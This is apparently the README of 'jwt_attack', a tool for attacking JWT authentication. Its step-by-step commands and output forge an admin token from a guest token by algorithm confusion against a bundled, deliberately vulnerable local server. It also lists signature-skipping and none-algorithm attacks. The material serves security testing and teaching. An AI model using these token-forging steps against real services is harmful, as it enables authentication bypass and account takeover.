Tool for attacking JWT implementations.
You pass a working curl statement to jwt_attack
(along with the key if you have it), and it will extract the JWT and perform a number of attacks.
git clone [email protected]:fx2301/jwt_attack.git
cd jwt_attack
pip install -r requirements.txt
Both are examples of attacking an endpoint vulnerable to algorithm confusion (tricking the implementation into using HS256 with a known RSA public key).
This is the final step of the attack. jwt_attack
demonstrates that the existing payload is valid when changed to an HS256 algorithm, then outputs a curl statement with the desired target payload:
python3 jwt_attack.py --key-file public.key --target-payload '{"username":"admin"}' curl https://localhost:5000/alg_confusion -H 'Authorization: eyJhbGciOiAiUlMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCJ9.dEYHdN8blOLC3AAdM2WLuaSoeh2mXUkS4Adjzroq8ED7E2n1ZwUGV9Qw9u3mb905cPo4pAb410OW1Oik0KY1BQ'
outputs:
Testing for identical results...
Attempting attack: signature not verified ... FAILURE
Attempting attack: none algorithm allowed ... FAILURE
Attempting attack: algorithm confusion ... SUCCESS
Successful JWT:
{
"token": "eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.T7RHNDdo5vGxNZH4vKwpyOCL01sDC3bvR_wMWf8xPMk",
"header": {
"alg": "HS256"
},
"payload": {
"username": "admin"
},
"signature": "T7RHNDdo5vGxNZH4vKwpyOCL01sDC3bvR_wMWf8xPMk"
}
Successful curl command:
curl https://localhost:5000/alg_confusion -H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.T7RHNDdo5vGxNZH4vKwpyOCL01sDC3bvR_wMWf8xPMk'
- First we obtain a valid curl request protected by a JWT. In this case we are constructing a curl request from the vulnerable server:
curl https://localhost:5000/alg_confusion
outputs:
<p>A valid authorization header is: <code>eyJhbGciOiAiUlMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCIsICJpYXQiOiAxNjQyNTkwMzAxfQ.ZCIHzrTsu8RF1pE2FuDALmL2CR2MU4b-UoqOHva9itwxjq1oAUzkZ6PY7CpzvtQuQkNvVVB4if4LIgh3X8sABQ</code>. Now assume the username admin.</p><p>You have two approaches for obtaining the public key:<ol><li>Download the public key here: <a href="/alg_confusion_public_key">/alg_confusion_public_key</a>.</li><li>Derive the public key using <a href="https://github.com/silentsignal/rsa_sign2n/tree/release/standalone">https://github.com/silentsignal/rsa_sign2n/tree/release/standalone</a>.</li></ol></p>
- We verify that our curl statement is valid:
curl https://localhost:5000/alg_confusion -H 'Authorization: eyJhbGciOiAiUlMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCIsICJpYXQiOiAxNjQyNTkwMzAxfQ.ZCIHzrTsu8RF1pE2FuDALmL2CR2MU4b-UoqOHva9itwxjq1oAUzkZ6PY7CpzvtQuQkNvVVB4if4LIgh3X8sABQ'
outputs:
<p>Not quite. Your username needs to be admin.</p>
- We inspect our token using
jwt_attack
with--inspect
:
python3 jwt_attack.py --inspect curl https://localhost:5000/alg_confusion -H 'Authorization: eyJhbGciOiAiUlMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCIsICJpYXQiOiAxNjQyNTkwMzAxfQ.ZCIHzrTsu8RF1pE2FuDALmL2CR2MU4b-UoqOHva9itwxjq1oAUzkZ6PY7CpzvtQuQkNvVVB4if4LIgh3X8sABQ'
We see the alg
is RS256
as expected:
Token is:
{
"token": "eyJhbGciOiAiUlMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCIsICJpYXQiOiAxNjQyNTkwMzAxfQ.ZCIHzrTsu8RF1pE2FuDALmL2CR2MU4b-UoqOHva9itwxjq1oAUzkZ6PY7CpzvtQuQkNvVVB4if4LIgh3X8sABQ",
"header": {
"alg": "RS256"
},
"payload": {
"username": "guest",
"iat": 1642590301
},
"signature": "ZCIHzrTsu8RF1pE2FuDALmL2CR2MU4b-UoqOHva9itwxjq1oAUzkZ6PY7CpzvtQuQkNvVVB4if4LIgh3X8sABQ"
}
- We obtain the public key used from /alg_confusion_public_key:
curl https://localhost:5000/alg_confusion_public_key -o public.key
- Now we attack the implementation using --key-file and --target-payload:
python3 jwt_attack.py --key-file public.key --target-payload '{"username":"admin"}' curl https://localhost:5000/alg_confusion -H 'Authorization: eyJhbGciOiAiUlMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCIsICJpYXQiOiAxNjQyNTkwMzAxfQ.ZCIHzrTsu8RF1pE2FuDALmL2CR2MU4b-UoqOHva9itwxjq1oAUzkZ6PY7CpzvtQuQkNvVVB4if4LIgh3X8sABQ'
The attack succeeds, and we see the resulting JWT contents and curl statement:
Testing for identical results...
Attempting attack: signature not verified ... FAILURE
Attempting attack: none algorithm allowed ... FAILURE
Attempting attack: algorithm confusion ... SUCCESS
Successful JWT:
{
"token": "eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.y-h_ZX0UQrajllr9f9xEso4FkL8AFCui5et-Qbg8u10",
"header": {
"alg": "HS256"
},
"payload": {
"username": "admin"
},
"signature": "y-h_ZX0UQrajllr9f9xEso4FkL8AFCui5et-Qbg8u10"
}
Successful curl command:
curl https://localhost:5000/alg_confusion -H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.y-h_ZX0UQrajllr9f9xEso4FkL8AFCui5et-Qbg8u10'
- We now verify the successful curl command:
curl https://localhost:5000/alg_confusion -H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.y-h_ZX0UQrajllr9f9xEso4FkL8AFCui5et-Qbg8u10'
<p>Success! Your username is admin.</p>
This repository comes with a HTTP service that exposes endpoints you can test with:
- /signature_not_verified
- /alg_none_allowed
- /alg_confusion see also /alg_confusion_public_key
- /not_vulnerable
Run it with:
pip install -r requirements.txt
python3 vulnerable.py